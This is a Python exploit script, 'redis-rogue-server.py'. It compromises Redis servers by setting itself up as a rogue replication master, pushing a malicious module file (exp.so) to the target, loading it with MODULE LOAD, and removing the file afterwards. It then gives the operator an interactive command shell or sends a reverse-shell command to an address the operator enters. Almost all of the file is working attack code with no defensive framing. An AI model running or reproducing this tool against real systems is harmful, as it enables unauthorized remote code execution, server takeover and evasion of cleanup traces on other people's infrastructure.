/
redis-rogue-server.py
executable file
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/
redis-rogue-server.py
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#!/usr/bin/env python3
import socket
import sys
from time import sleep
from optparse import OptionParser
CLRF = "\r\n"
SERVER_EXP_MOD_FILE = "exp.so"
BANNER = """______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
"""
def encode_cmd_arr(arr):
cmd = ""
cmd += "*" + str(len(arr))
for arg in arr:
cmd += CLRF + "$" + str(len(arg))
cmd += CLRF + arg
cmd += "\r\n"
return cmd
def encode_cmd(raw_cmd):
return encode_cmd_arr(raw_cmd.split(" "))
def decode_cmd(cmd):
if cmd.startswith("*"):
raw_arr = cmd.strip().split("\r\n")
return raw_arr[2::2]
if cmd.startswith("$"):
return cmd.split("\r\n", 2)[1]
return cmd.strip().split(" ")
def info(msg):
print(f"\033[1;32;40m[info]\033[0m {msg}")
def error(msg):
print(f"\033[1;31;40m[err ]\033[0m {msg}")
def din(sock, cnt=4096):
global verbose
msg = sock.recv(cnt)
if verbose:
if len(msg) < 1000:
print(f"\033[1;34;40m[->]\033[0m {msg}")
else:
print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}")
return msg.decode('gb18030')
def dout(sock, msg):
global verbose
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)
if verbose:
if len(msg) < 1000:
print(f"\033[1;33;40m[<-]\033[0m {msg}")
else:
print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}")
def decode_shell_result(s):
return "\n".join(s.split("\r\n")[1:-1])
class Remote:
def __init__(self, rhost, rport):
self._host = rhost
self._port = rport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.connect((self._host, self._port))
def send(self, msg):
dout(self._sock, msg)
def recv(self, cnt=65535):
return din(self._sock, cnt)
def do(self, cmd):
self.send(encode_cmd(cmd))
buf = self.recv()
return buf
def shell_cmd(self, cmd):
self.send(encode_cmd_arr(['system.exec', f"{cmd}"]))
buf = self.recv()
return buf
class RogueServer:
def __init__(self, lhost, lport):
self._host = lhost
self._port = lport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.bind(('0.0.0.0', self._port))
self._sock.listen(10)
def close(self):
self._sock.close()
def handle(self, data):
cmd_arr = decode_cmd(data)
resp = ""
phase = 0
if cmd_arr[0].startswith("PING"):
resp = "+PONG" + CLRF
phase = 1
elif cmd_arr[0].startswith("REPLCONF"):
resp = "+OK" + CLRF
phase = 2
elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase
def exp(self):
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = self.handle(data)
dout(cli, resp)
if phase == 3:
break
def interact(remote):
info("Interact mode start, enter \"exit\" to quit.")
try:
while True:
cmd = input("\033[1;32;40m[<<]\033[0m ").strip()
if cmd == "exit":
return
r = remote.shell_cmd(cmd)
for l in decode_shell_result(r).split("\n"):
if l:
print("\033[1;34;40m[>>]\033[0m " + l)
except KeyboardInterrupt:
pass
def reverse(remote):
info("Open reverse shell...")
addr = input("Reverse server address: ")
port = input("Reverse server port: ")
dout(remote, encode_cmd(f"system.rev {addr} {port}"))
info("Reverse shell payload sent.")
info(f"Check at {addr}:{port}")
def cleanup(remote):
info("Unload module...")
remote.do("MODULE UNLOAD system")
def runserver(rhost, rport, lhost, lport, passwd):
# expolit
remote = Remote(rhost, rport)
info("Setting master...")
# auth
if passwd:
info("Authenticating...")
remote.do(f"AUTH {passwd}")
remote.do(f"SLAVEOF {lhost} {lport}")
info("Setting dbfilename...")
remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}")
sleep(2)
rogue = RogueServer(lhost, lport)
rogue.exp()
sleep(2)
info("Loading module...")
remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}")
info("Temerory cleaning up...")
remote.do("SLAVEOF NO ONE")
remote.do("CONFIG SET dbfilename dump.rdb")
remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
rogue.close()
# Operations here
choice = input("What do u want, [i]nteractive shell or [r]everse shell: ")
if choice.startswith("i"):
interact(remote)
elif choice.startswith("r"):
reverse(remote)
cleanup(remote)
if __name__ == '__main__':
print(BANNER)
parser = OptionParser()
parser.add_option("--rhost", dest="rh", type="string",
help="target host", metavar="REMOTE_HOST")
parser.add_option("--rport", dest="rp", type="int",
help="target redis port, default 6379", default=6379,
metavar="REMOTE_PORT")
parser.add_option("--lhost", dest="lh", type="string",
help="rogue server ip", metavar="LOCAL_HOST")
parser.add_option("--lport", dest="lp", type="int",
help="rogue server listen port, default 21000", default=21000,
metavar="LOCAL_PORT")
parser.add_option("--exp", dest="exp", type="string",
help="Redis Module to load, default exp.so", default="exp.so",
metavar="EXP_FILE")
parser.add_option("-v", "--verbose", action="store_true", default=False,
help="Show full data stream")
parser.add_option("--passwd", dest="rpasswd", type="string",
help="target redis password")
(options, args) = parser.parse_args()
global verbose, payload, exp_mod
verbose = options.verbose
exp_mod = options.exp
payload = open(exp_mod, "rb").read()
if not options.rh or not options.lh:
parser.error("Invalid arguments")
info(f"TARGET {options.rh}:{options.rp}")
info(f"SERVER {options.lh}:{options.lp}")
try:
runserver(options.rh, options.rp, options.lh, options.lp, options.rpasswd)
except Exception as e:
error(repr(e))